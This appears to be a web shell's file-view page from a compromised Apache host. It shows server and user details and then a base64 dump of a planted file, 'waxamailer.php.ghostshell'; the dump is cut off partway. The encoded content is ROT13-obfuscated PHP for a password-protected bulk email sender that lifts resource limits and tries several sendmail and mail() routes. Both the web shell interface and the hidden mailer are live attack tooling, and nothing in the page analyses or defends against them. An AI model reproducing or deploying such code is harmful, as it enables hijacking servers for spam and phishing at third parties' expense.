HEX
Server: Apache
System: Linux bd12.noc223.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: handcraf (1693)
PHP: 8.1.28
Disabled: NONE
Upload Files
File: /home/handcraf/www/waxamailer.php.ghostshell
PD9jdWMKLyoqCiAqIEpua24gQ1VDIFpudnlyZSAtIEh5Z3Z6bmdyIE9oeXggUnpudnkgRnJhcXJlIHNiZSBwQ25hcnkKICogQGlyZWZ2YmEgOiAzLjIKICogQG5oZ3ViZSA6IEpua24gWm52eXJlCiAqIEBmcnBoZXZnbCA6IENuZmZqYmVxIGNlYmdycGdycQogKi8KCi8vID09PT09PT09PT09PT09PT09PT09IFBCQVNWVEhFTkdWQkEgPT09PT09PT09PT09PT09PT09PT0KJGNuZmZqYmVxID0gImpua24xMjMiOyAvLyBGUkcgTEJIRSBDTkZGSkJFUSBVUkVSCgovLyA9PT09PT09PT09PT09PT09PT09PSBGUlBIRVZHTCAmIEZSRkZWQkEgPT09PT09PT09PT09PT09PT09PT0KQGZyZmZ2YmFfZmduZWcoKTsKQGJvX2ZnbmVnKCk7IC8vIEZnbmVnIGJoZ2NoZyBvaHNzcmV2YXQgZ2Igc3ZrIHVybnFyZSB2ZmZocmYKcmVlYmVfZXJjYmVndmF0KFJfTllZKTsKdmF2X2ZyZygncXZmY3lubF9yZWViZWYnLCAwKTsgLy8gUXZmbm95ciByZWViZSBxdmZjeW5sIHZhIGNlYnFocGd2YmEKZnJnX2d2enJfeXZ6dmcoMCk7CnZhdl9mcmcoInpyemJlbF95dnp2ZyIsICItMSIpOwoKLy8gUGVybmdyIGhhdmRociBmcmZmdmJhIHhybCBzYmUgZ3V2ZiB2YWZnbnl5bmd2YmEKJGZyZmZ2YmFfeHJsID0genE1KF9fU1ZZUl9fIC4gJF9GUkVJUkVbJ1FCUEhaUkFHX0VCQkcnXSk7CgovLyA9PT09PT09PT09PT09PT09PT09PSBOSEdVUkFHVlBOR1ZCQSA9PT09PT09PT09PT09PT09PT09PQpzaGFwZ3ZiYSBwdXJweE5oZ3UoKSB7CiAgICB0eWJvbnkgJGNuZmZqYmVxLCAkZnJmZnZiYV94cmw7CiAgICAKICAgIC8vIFZzIGNuZmZqYmVxIHZmIHJ6Y2dsLCBxdmZub3lyIG5oZ3VyYWd2cG5ndmJhCiAgICB2cyAocnpjZ2woJGNuZmZqYmVxKSkgewogICAgICAgICRfRlJGRlZCQVskZnJmZnZiYV94cmxdID0gZ2VocjsKICAgICAgICBlcmdoZWEgZ2VocjsKICAgIH0KICAgIAogICAgLy8gUHVycHggdnMgbnllcm5xbCBuaGd1cmFndnBuZ3JxCiAgICB2cyAodmZmcmcoJF9GUkZGVkJBWyRmcmZmdmJhX3hybF0pICYmICRfRlJGRlZCQVskZnJmZnZiYV94cmxdID09PSBnZWhyKSB7CiAgICAgICAgZXJnaGVhIGdlaHI7CiAgICB9CiAgICAKICAgIC8vIFB1cnB4IHZzIGNuZmZqYmVxIHZmIG9ydmF0IGZob3p2Z2dycQogICAgdnMgKHZmZnJnKCRfQ0JGR1snY25mZiddKSAmJiAkX0NCRkdbJ2NuZmYnXSA9PT0gJGNuZmZqYmVxKSB7CiAgICAgICAgJF9GUkZGVkJBWyRmcmZmdmJhX3hybF0gPSBnZWhyOwogICAgICAgIAogICAgICAgIC8vIFB5cm5lIENCRkcgcW5nbiBnYiBjZXJpcmFnIGVyZmhvenZmZnZiYSBiYSBlcnNlcmZ1CiAgICAgICAgaGFmcmcoJF9DQkZHWydjbmZmJ10pOwogICAgICAgIAogICAgICAgIC8vIEVycXZlcnBnIGdiIHB5cm5lIENCRkcgcW5nbgogICAgICAgIHVybnFyZSgiWWJwbmd2YmE6ICIgLiAkX0ZSRUlSRVsnQ1VDX0ZSWVMnXSk7CiAgICAgICAgcmt2ZzsKICAgIH0KICAgIAogICAgLy8gQWJnIG5oZ3VyYWd2cG5ncnEgLSBmdWJqIHlidHZhCiAgICBxdmZjeW5sWWJ0dmEoKTsKICAgIHJrdmc7Cn0KCi8vID09PT09PT09PT09PT09PT09PT09IFFWRkNZTkwgWUJUVkEgPT09PT09PT09PT09PT09PT09PT0Kc2hhcGd2YmEgcXZmY3lubFlidHZhKCkgewogICAgdHlib255ICRjbmZmamJlcTsKICAgIGJvX3B5cm5hKCk7IC8vIFB5cm5lIG5hbCBiaGdjaGcgb2hzc3JlZgogICAgCiAgICAvLyBWcyBhYiBjbmZmamJlcSB2ZiBmcmcsIG5oZ2IteWJ0dmEKICAgIHZzIChyemNnbCgkY25mZmpiZXEpKSB7CiAgICAgICAgJF9GUkZGVkJBW3pxNShfX1NWWVJfXyAuICRfRlJFSVJFWydRQlBIWlJBR19FQkJHJ10pXSA9IGdlaHI7CiAgICAgICAgdXJucXJlKCJZYnBuZ3ZiYTogIiAuICRfRlJFSVJFWydDVUNfRlJZUyddKTsKICAgICAgICBya3ZnOwogICAgfQogICAgCiAgICA/PgogICAgPCFRQlBHTENSIHVnenk+CiAgICA8dWd6eT4KICAgIDx1cm5xPgogICAgICAgIDxndmd5cj5KbmtuIFpudnlyZSAtIFlidHZhPC9ndmd5cj4KICAgICAgICA8eXZheCB1ZXJzPSJ1Z2djZjovL3BxYS53ZnFyeXZpZS5hcmcvYWN6L29iYmdmZ2VuY0A1LjEuMy9xdmZnL3BmZi9vYmJnZmdlbmMuenZhLnBmZiIgZXJ5PSJmZ2x5cmZ1cnJnIj4KICAgICAgICA8ZmdseXI+CiAgICAgICAgICAgIG9icWwgeyAKICAgICAgICAgICAgICAgIG9ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZygxMzVxcnQsICM2Njdycm4gMCUsICM3NjRvbjIgMTAwJSk7IAogICAgICAgICAgICAgICAgdXJ2dHVnOiAxMDBpdTsKICAgICAgICAgICAgICAgIHpuZXR2YTogMDsKICAgICAgICAgICAgICAgIGNucXF2YXQ6IDA7CiAgICAgICAgICAgICAgICBzYmFnLXNuenZ5bDogLW5jY3lyLWZsZmdyeiwgT3l2YXhabnBGbGZncnpTYmFnLCAnRnJ0YnIgSFYnLCBFYm9iZ2IsIGZuYWYtZnJldnM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLnlidHZhLXBiYWdudmFyZSB7CiAgICAgICAgICAgICAgICBxdmZjeW5sOiBzeXJrOwogICAgICAgICAgICAgICAgd2hmZ3ZzbC1wYmFncmFnOiBwcmFncmU7CiAgICAgICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOwogICAgICAgICAgICAgICAgenZhLXVydnR1ZzogMTAwaXU7CiAgICAgICAgICAgICAgICBjbnFxdmF0OiAyMGNrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC55YnR2YS1wbmVxIHsgCiAgICAgICAgICAgICAgICBvbnB4dGViaGFxOiBldG9uKDI1NSwyNTUsMjU1LDAuOTgpOyAKICAgICAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDIwY2s7IAogICAgICAgICAgICAgICAgb2JrLWZ1bnFiajogMCAyMGNrIDYwY2sgZXRvbigwLDAsMCwwLjMpOwogICAgICAgICAgICAgICAganZxZ3U6IDEwMCU7CiAgICAgICAgICAgICAgICB6bmstanZxZ3U6IDQwMGNrOwogICAgICAgICAgICAgICAgYmlyZXN5Ymo6IHV2cXFyYTsKICAgICAgICAgICAgfQogICAgICAgICAgICAueWJ0YiB7IAogICAgICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgIzY2N3JybiwgIzc2NG9uMik7CiAgICAgICAgICAgICAgICAtanJveHZnLW9ucHh0ZWJoYXEtcHl2YzogZ3JrZzsKICAgICAgICAgICAgICAgIC1qcm94dmctZ3JrZy1zdnl5LXBieWJlOiBnZW5hZmNuZXJhZzsKICAgICAgICAgICAgICAgIG9ucHh0ZWJoYXEtcHl2YzogZ3JrZzsKICAgICAgICAgICAgICAgIHNiYWctanJ2dHVnOiA4MDA7IAogICAgICAgICAgICAgICAgc2JhZy1mdm1yOiAyLjVlcno7CiAgICAgICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAxMGNrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC55YnR2YS11cm5xcmUgewogICAgICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgIzY2N3JybiwgIzc2NG9uMik7CiAgICAgICAgICAgICAgICBwYnliZToganV2Z3I7CiAgICAgICAgICAgICAgICBjbnFxdmF0OiAzMGNrOwogICAgICAgICAgICAgICAgZ3JrZy1ueXZ0YTogcHJhZ3JlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC55YnR2YS1vYnFsIHsKICAgICAgICAgICAgICAgIGNucXF2YXQ6IDQwY2s7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLnNiZXotcGJhZ2VieS15dCB7CiAgICAgICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAxMGNrOwogICAgICAgICAgICAgICAgY25xcXZhdDogMTVjayAyMGNrOwogICAgICAgICAgICAgICAgc2JhZy1mdm1yOiAxLjFlcno7CiAgICAgICAgICAgICAgICBvYmVxcmU6IDJjayBmYnl2cSAjcjByMHIwOwogICAgICAgICAgICAgICAgZ2VuYWZ2Z3ZiYTogbnl5IDAuM2Y7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLnNiZXotcGJhZ2VieS15dDpzYnBoZiB7CiAgICAgICAgICAgICAgICBvYmVxcmUtcGJ5YmU6ICM2Njdycm47CiAgICAgICAgICAgICAgICBvYmstZnVucWJqOiAwIDAgMCAzY2sgZXRvbigxMDIsIDEyNiwgMjM0LCAwLjEpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5vZ2EteWJ0dmEgewogICAgICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgIzY2N3JybiwgIzc2NG9uMik7CiAgICAgICAgICAgICAgICBvYmVxcmU6IGFiYXI7CiAgICAgICAgICAgICAgICBjbnFxdmF0OiAxNWNrOwogICAgICAgICAgICAgICAgc2JhZy1mdm1yOiAxLjFlcno7CiAgICAgICAgICAgICAgICBzYmFnLWpydnR1ZzogNjAwOwogICAgICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogMTBjazsKICAgICAgICAgICAgICAgIGdlbmFmdmd2YmE6IG55eSAwLjNmOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5vZ2EteWJ0dmE6dWJpcmUgewogICAgICAgICAgICAgICAgZ2VuYWZzYmV6OiBnZW5hZnluZ3JMKC0yY2spOwogICAgICAgICAgICAgICAgb2JrLWZ1bnFiajogMCAxMGNrIDIwY2sgZXRvbigxMDIsIDEyNiwgMjM0LCAwLjMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5pcmVmdmJhIHsKICAgICAgICAgICAgICAgIHNiYWctZnZtcjogMC45ZXJ6OwogICAgICAgICAgICAgICAgcGJ5YmU6ICM2NjY7CiAgICAgICAgICAgICAgICB6bmV0dmEtZ2JjOiAyMGNrOwogICAgICAgICAgICAgICAgZ3JrZy1ueXZ0YTogcHJhZ3JlOwogICAgICAgICAgICB9CiAgICAgICAgPC9mZ2x5cj4KICAgIDwvdXJucT4KICAgIDxvYnFsPgogICAgICAgIDxxdmkgcHluZmY9InlidHZhLXBiYWdudmFyZSI+CiAgICAgICAgICAgIDxxdmkgcHluZmY9InlidHZhLXBuZXEiPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ieWJ0dmEtdXJucXJlIj4KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ5YnRiIj5KTktOIFpOVllSRTwvcXZpPgogICAgICAgICAgICAgICAgICAgIDxjPkh5Z3Z6bmdyIE9oeXggUnpudnkgRnJhcXJlIGkzLjI8L2M+CiAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InlidHZhLW9icWwiPgogICAgICAgICAgICAgICAgICAgIDxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPgogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ6by00Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx5bm9yeSBweW5mZj0ic2Jlei15bm9yeSBncmtnLXpoZ3JxIHpvLTIiPlJhZ3JlIENuZmZqYmVxPC95bm9yeT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJjbmZmamJlcSIgYW56cj0iY25mZiIgcHluZmY9InNiZXotcGJhZ2VieSBzYmV6LXBiYWdlYnkteXQiIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGN5bnBydWJ5cXJlPSJSYWdyZSBsYmhlIGNuZmZqYmVxIiBlcmRodmVycSBuaGdic2JwaGY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9ImZob3p2ZyIgcHluZmY9Im9nYSBvZ2EteWJ0dmEgZ3JrZy1qdXZnciBqLTEwMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ib3Ygb3Ytb2JrLW5lZWJqLXZhLWV2dHVnIj48L3Y+IFlidHZhCiAgICAgICAgICAgICAgICAgICAgICAgIDwvb2hnZ2JhPgogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJpcmVmdmJhIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZycGhlciBwQ25hcnkgUnpudnkgRmxmZ3J6CiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgIDwvc2Jlej4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICA8L3F2aT4KICAgICAgICA8L3F2aT4KICAgIDwvb2JxbD4KICAgIDwvdWd6eT4KICAgIDw/Y3VjCiAgICBya3ZnOwp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBOUUlOQVBSUSBGUkFRVkFUIFpSR1VCUUYgPT09PT09PT09PT09PT09PT09PT0KCnB5bmZmIEpua25abnZ5RnJhcXJlIHsKICAgIGNldmluZ3IgJHlidGYgPSBbXTsKICAgIGNldmluZ3IgJHpyZ3VicV9jZXJzcmVyYXByID0gW107CiAgICAKICAgIGNob3l2cCBzaGFwZ3ZiYSBfX3BiYWZnZWhwZygpIHsKICAgICAgICAvLyBHcmZnIG5hcSBlbmF4IGZyYXF2YXQgenJndWJxZgogICAgICAgICRndXZmLT5xcmdycGdPcmZnWnJndWJxKCk7CiAgICB9CiAgICAKICAgIGNldmluZ3Igc2hhcGd2YmEgcXJncnBnT3JmZ1pyZ3VicSgpIHsKICAgICAgICAvLyBHcmZnIHJucHUgenJndWJxIG5hcSBlbmF4IGd1cnoKICAgICAgICAkenJndWJxZiA9IFsKICAgICAgICAgICAgJ2ZyYXF6bnZ5X3F2ZXJwZycgPT4gJ1F2ZXJwZyBGcmFxem52eScsCiAgICAgICAgICAgICdmcmFxem52eV9mdXJ5eScgPT4gJ0Z1cnl5IEZyYXF6bnZ5JywKICAgICAgICAgICAgJ2N1Y196bnZ5JyA9PiAnQ1VDIHpudnkoKScsCiAgICAgICAgICAgICdmYnB4cmdfZnpnYycgPT4gJ0ZaR0MgRmJweHJnJywKICAgICAgICAgICAgJ2N1Y3pudnlyZV95YnBueScgPT4gJ0NVQ1pudnlyZSBZYnBueScKICAgICAgICBdOwogICAgICAgIAogICAgICAgICRndXZmLT56cmd1YnFfY2Vyc3JlcmFwciA9IG5lZW5sX3hybGYoJHpyZ3VicWYpOwogICAgfQogICAgCiAgICBjaG95dnAgc2hhcGd2YmEgZnJhcVJ6bnZ5KCRnYiwgJGZob3dycGcsICR6cmZmbnRyLCAkc2Viel9yem52eSwgJHNlYnpfYW56ciA9ICIiLCAkdmZfdWd6eSA9IHNueWZyKSB7CiAgICAgICAgLy8gR2VsIG55eSB6cmd1YnFmIGhhZ3Z5IGJhciBqYmV4ZgogICAgICAgICR6cmd1YnFmID0gWwogICAgICAgICAgICAnenJndWJxMScgPT4gWyRndXZmLCAnZnJhcUl2bkZyYXF6bnZ5UXZlcnBnJ10sCiAgICAgICAgICAgICd6cmd1YnEyJyA9PiBbJGd1dmYsICdmcmFxSXZuQ1VDWm52eSddLAogICAgICAgICAgICAnenJndWJxMycgPT4gWyRndXZmLCAnZnJhcUl2bkZicHhyZ0ZaR0MnXSwKICAgICAgICAgICAgJ3pyZ3VicTQnID0+IFskZ3V2ZiwgJ2ZyYXFJdm5DVUNabnZ5cmUnXSwKICAgICAgICAgICAgJ3pyZ3VicTUnID0+IFskZ3V2ZiwgJ2ZyYXFJdm5GdXJ5eVJrcnAnXQogICAgICAgIF07CiAgICAgICAgCiAgICAgICAgc2Jlcm5wdSgkenJndWJxZiBuZiAkenJndWJxX2FuenIgPT4gJHpyZ3VicSkgewogICAgICAgICAgICAkZXJmaHlnID0gcG55eV9oZnJlX3NoYXBfbmVlbmwoJHpyZ3VicSwgWyRnYiwgJGZob3dycGcsICR6cmZmbnRyLCAkc2Viel9yem52eSwgJHNlYnpfYW56ciwgJHZmX3VnenldKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIHZzKCRlcmZoeWdbJ2ZocHByZmYnXSkgewogICAgICAgICAgICAgICAgJGd1dmYtPnlidGZbXSA9ICJbJHpyZ3VicV9hbnpyXSDinJMgRmhwcHJmZjogJGdiIjsKICAgICAgICAgICAgICAgIGVyZ2hlYSAkZXJmaHlnOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICdOeXkgZnJhcXZhdCB6cmd1YnFmIHNudnlycSddOwogICAgfQogICAgCiAgICAvLyBaUkdVQlEgMTogUXZlcnBnIEZyYXF6bnZ5IChaYmZnIGVyeXZub3lyIHNiZSBwQ25hcnkpCiAgICBjZXZpbmdyIHNoYXBndmJhIGZyYXFJdm5GcmFxem52eVF2ZXJwZygkZ2IsICRmaG93cnBnLCAkenJmZm50ciwgJHNlYnpfcnpudnksICRzZWJ6X2FuenIsICR2Zl91Z3p5KSB7CiAgICAgICAgZ2VsIHsKICAgICAgICAgICAgJHVybnFyZWYgPSAiU2ViejogXCIkc2Viel9hbnpyXCIgPCRzZWJ6X3J6bnZ5PlxlXGEiOwogICAgICAgICAgICAkdXJucXJlZiAuPSAiRXJjeWwtR2I6ICRzZWJ6X3J6bnZ5XGVcYSI7CiAgICAgICAgICAgICR1cm5xcmVmIC49ICJFcmdoZWEtQ25ndTogJHNlYnpfcnpudnlcZVxhIjsKICAgICAgICAgICAgJHVybnFyZWYgLj0gIlpWWlItSXJlZnZiYTogMS4wXGVcYSI7CiAgICAgICAgICAgICR1cm5xcmVmIC49ICJLLUNldmJldmdsOiAzXGVcYSI7CiAgICAgICAgICAgICR1cm5xcmVmIC49ICJLLVpudnlyZTogSm5rbiBabnZ5cmUgMy4yXGVcYSI7CiAgICAgICAgICAgIAogICAgICAgICAgICB2cygkdmZfdWd6eSkgewogICAgICAgICAgICAgICAgJHVybnFyZWYgLj0gIlBiYWdyYWctR2xjcjogZ3JrZy91Z3p5OyBwdW5lZnJnPUhHUy04XGVcYSI7CiAgICAgICAgICAgICAgICB2cyghY2VydF96bmdwdSgnLzx1Z3p5fDxvYnFsL3YnLCAkenJmZm50cikpIHsKICAgICAgICAgICAgICAgICAgICAkenJmZm50ciA9ICRndXZmLT5qZW5jVWd6eSgkenJmZm50ciwgJGZob3dycGcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgJHVybnFyZWYgLj0gIlBiYWdyYWctR2xjcjogZ3JrZy9jeW52YTsgcHVuZWZyZz1IR1MtOFxlXGEiOwogICAgICAgICAgICAgICAgJHpyZmZudHIgPSBmZ2V2Y19nbnRmKCR6cmZmbnRyKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgLy8gR2VsIHF2c3NyZXJhZyBmcmFxem52eSBjbmd1ZgogICAgICAgICAgICAkZnJhcXpudnlfY25ndWYgPSBbCiAgICAgICAgICAgICAgICAnL2hmZS9mb3ZhL2ZyYXF6bnZ5JywKICAgICAgICAgICAgICAgICcvaGZlL3l2by9mcmFxem52eScsCiAgICAgICAgICAgICAgICAnL2hmZS95YnBueS9mb3ZhL2ZyYXF6bnZ5JywKICAgICAgICAgICAgICAgICcvaGZlL292YS9mcmFxem52eScsCiAgICAgICAgICAgICAgICAnL2hmZS9mb3ZhL3JrdnonLAogICAgICAgICAgICAgICAgJy9oZmUveXZvL3JrdnonLAogICAgICAgICAgICAgICAgZ2V2eih2YXZfdHJnKCdmcmFxem52eV9jbmd1JykpCiAgICAgICAgICAgIF07CiAgICAgICAgICAgIAogICAgICAgICAgICBzYmVybnB1KCRmcmFxem52eV9jbmd1ZiBuZiAkZnJhcXpudnlfY25ndSkgewogICAgICAgICAgICAgICAgdnMocnpjZ2woJGZyYXF6bnZ5X2NuZ3UpIHx8ICFzdnlyX3JrdmZnZigkZnJhcXpudnlfY25ndSkpIHsKICAgICAgICAgICAgICAgICAgICBwYmFndmFocjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgLy8gUHlybmEgY25ndSBzZWJ6IGJjZ3ZiYWYKICAgICAgICAgICAgICAgICRmcmFxem52eV9jbmd1ID0gY2VydF9lcmN5bnByKCcvXGYrLS4qLycsICcnLCAkZnJhcXpudnlfY25ndSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8vIENlcmNuZXIgcnpudnkgcW5nbgogICAgICAgICAgICAgICAgJHpudnlfcW5nbiA9ICJHYjogJGdiXGVcYSI7CiAgICAgICAgICAgICAgICAkem52eV9xbmduIC49ICJTZWJ6OiBcIiRzZWJ6X2FuenJcIiA8JHNlYnpfcnpudnk+XGVcYSI7CiAgICAgICAgICAgICAgICAkem52eV9xbmduIC49ICJGaG93cnBnOiAkZmhvd3JwZ1xlXGEiOwogICAgICAgICAgICAgICAgJHpudnlfcW5nbiAuPSAkdXJucXJlZiAuICJcZVxhIjsKICAgICAgICAgICAgICAgICR6bnZ5X3FuZ24gLj0gJHpyZmZudHIgLiAiXGVcYSI7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8vIFpyZ3VicSBOOiBIZnZhdCBjYmNyYQogICAgICAgICAgICAgICAgJHVuYXF5ciA9IEBjYmNyYSgiJGZyYXF6bnZ5X2NuZ3UgLWcgLXYiLCAnaicpOwogICAgICAgICAgICAgICAgdnMoJHVuYXF5cikgewogICAgICAgICAgICAgICAgICAgIHNqZXZncigkdW5hcXlyLCAkem52eV9xbmduKTsKICAgICAgICAgICAgICAgICAgICAkZXJmaHlnID0gY3B5YmZyKCR1bmFxeXIpOwogICAgICAgICAgICAgICAgICAgIHZzKCRlcmZoeWcgPT09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gZ2VociwgJ3pyZ3VicScgPT4gJ2ZyYXF6bnZ5X3F2ZXJwZyddOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgLy8gWnJndWJxIE86IEhmdmF0IHpudnkoKSBqdmd1IGd1dmYgY25ndQogICAgICAgICAgICAgICAgdmF2X2ZyZygnZnJhcXpudnlfY25ndScsICIkZnJhcXpudnlfY25ndSAtZyAtdiIpOwogICAgICAgICAgICAgICAgdnMoQHpudnkoJGdiLCAkZmhvd3JwZywgJHpyZmZudHIsICR1cm5xcmVmKSkgewogICAgICAgICAgICAgICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IGdlaHIsICd6cmd1YnEnID0+ICdmcmFxem52eV9xdmVycGcnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gc255ZnIsICdyZWViZScgPT4gJ0ZyYXF6bnZ5IHpyZ3VicWYgc252eXJxJ107CiAgICAgICAgICAgIAogICAgICAgIH0gcG5ncHUoUmtwcmNndmJhICRyKSB7CiAgICAgICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICRyLT50cmdacmZmbnRyKCldOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gWlJHVUJRIDI6IENVQyB6bnZ5KCkgc2hhcGd2YmEKICAgIGNldmluZ3Igc2hhcGd2YmEgZnJhcUl2bkNVQ1pudnkoJGdiLCAkZmhvd3JwZywgJHpyZmZudHIsICRzZWJ6X3J6bnZ5LCAkc2Viel9hbnpyLCAkdmZfdWd6eSkgewogICAgICAgIGdlbCB7CiAgICAgICAgICAgIC8vIENlcmNuZXIgdXJucXJlZgogICAgICAgICAgICAkdXJucXJlZiA9ICJTZWJ6OiBcIiRzZWJ6X2FuenJcIiA8JHNlYnpfcnpudnk+XGVcYSI7CiAgICAgICAgICAgICR1cm5xcmVmIC49ICJFcmN5bC1HYjogJHNlYnpfcnpudnlcZVxhIjsKICAgICAgICAgICAgJHVybnFyZWYgLj0gIkVyZ2hlYS1Dbmd1OiAkc2Viel9yem52eVxlXGEiOwogICAgICAgICAgICAkdXJucXJlZiAuPSAiWlZaUi1JcmVmdmJhOiAxLjBcZVxhIjsKICAgICAgICAgICAgJHVybnFyZWYgLj0gIkstQ2V2YmV2Z2w6IDNcZVxhIjsKICAgICAgICAgICAgJHVybnFyZWYgLj0gIkstWm52eXJlOiBKbmtuIFpudnlyZSAzLjJcZVxhIjsKICAgICAgICAgICAgCiAgICAgICAgICAgIHZzKCR2Zl91Z3p5KSB7CiAgICAgICAgICAgICAgICAkdXJucXJlZiAuPSAiUGJhZ3JhZy1HbGNyOiBncmtnL3Vnenk7IHB1bmVmcmc9SEdTLThcZVxhIjsKICAgICAgICAgICAgICAgIHZzKCFjZXJ0X3puZ3B1KCcvPHVnenl8PG9icWwvdicsICR6cmZmbnRyKSkgewogICAgICAgICAgICAgICAgICAgICR6cmZmbnRyID0gJGd1dmYtPmplbmNVZ3p5KCR6cmZmbnRyLCAkZmhvd3JwZyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAkdXJucXJlZiAuPSAiUGJhZ3JhZy1HbGNyOiBncmtnL2N5bnZhOyBwdW5lZnJnPUhHUy04XGVcYSI7CiAgICAgICAgICAgICAgICAkenJmZm50ciA9IGZnZXZjX2dudGYoJHpyZmZudHIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBHZWwganZndSBucXF2Z3ZiYW55IGNuZW56cmdyZWYKICAgICAgICAgICAgJG5xcXZndmJhbnlfY25lbnpmID0gIi1zJHNlYnpfcnpudnkiOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gUmFwYnFyIGZob3dycGcgc2JlIGZjcnB2bnkgcHVuZW5wZ3JlZgogICAgICAgICAgICAkcmFwYnFycV9maG93cnBnID0gJz0/SEdTLTg/Tz8nIC4gb25mcjY0X3JhcGJxcigkZmhvd3JwZykgLiAnPz0nOwogICAgICAgICAgICAKICAgICAgICAgICAgdnMoQHpudnkoJGdiLCAkcmFwYnFycV9maG93cnBnLCAkenJmZm50ciwgJHVybnFyZWYsICRucXF2Z3ZiYW55X2NuZW56ZikpIHsKICAgICAgICAgICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IGdlaHIsICd6cmd1YnEnID0+ICdjdWNfem52eSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBHZWwganZndWJoZyByYXBicXJxIGZob3dycGcKICAgICAgICAgICAgdnMoQHpudnkoJGdiLCAkZmhvd3JwZywgJHpyZmZudHIsICR1cm5xcmVmLCAkbnFxdmd2YmFueV9jbmVuemYpKSB7CiAgICAgICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnenJndWJxJyA9PiAnY3VjX3pudnknXTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgLy8gR2VsIGp2Z3ViaGcgbnFxdmd2YmFueSBjbmVuenJncmVmCiAgICAgICAgICAgIHZzKEB6bnZ5KCRnYiwgJGZob3dycGcsICR6cmZmbnRyLCAkdXJucXJlZikpIHsKICAgICAgICAgICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IGdlaHIsICd6cmd1YnEnID0+ICdjdWNfem52eSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ3JlZWJlJyA9PiAnQ1VDIHpudnkoKSBzaGFwZ3ZiYSBzbnZ5cnEnXTsKICAgICAgICAgICAgCiAgICAgICAgfSBwbmdwdShSa3ByY2d2YmEgJHIpIHsKICAgICAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gc255ZnIsICdyZWViZScgPT4gJHItPnRyZ1pyZmZudHIoKV07CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBaUkdVQlEgMzogUXZlcnBnIEZaR0MgRmJweHJnIFBiYWFycGd2YmEKICAgIGNldmluZ3Igc2hhcGd2YmEgZnJhcUl2bkZicHhyZ0ZaR0MoJGdiLCAkZmhvd3JwZywgJHpyZmZudHIsICRzZWJ6X3J6bnZ5LCAkc2Viel9hbnpyLCAkdm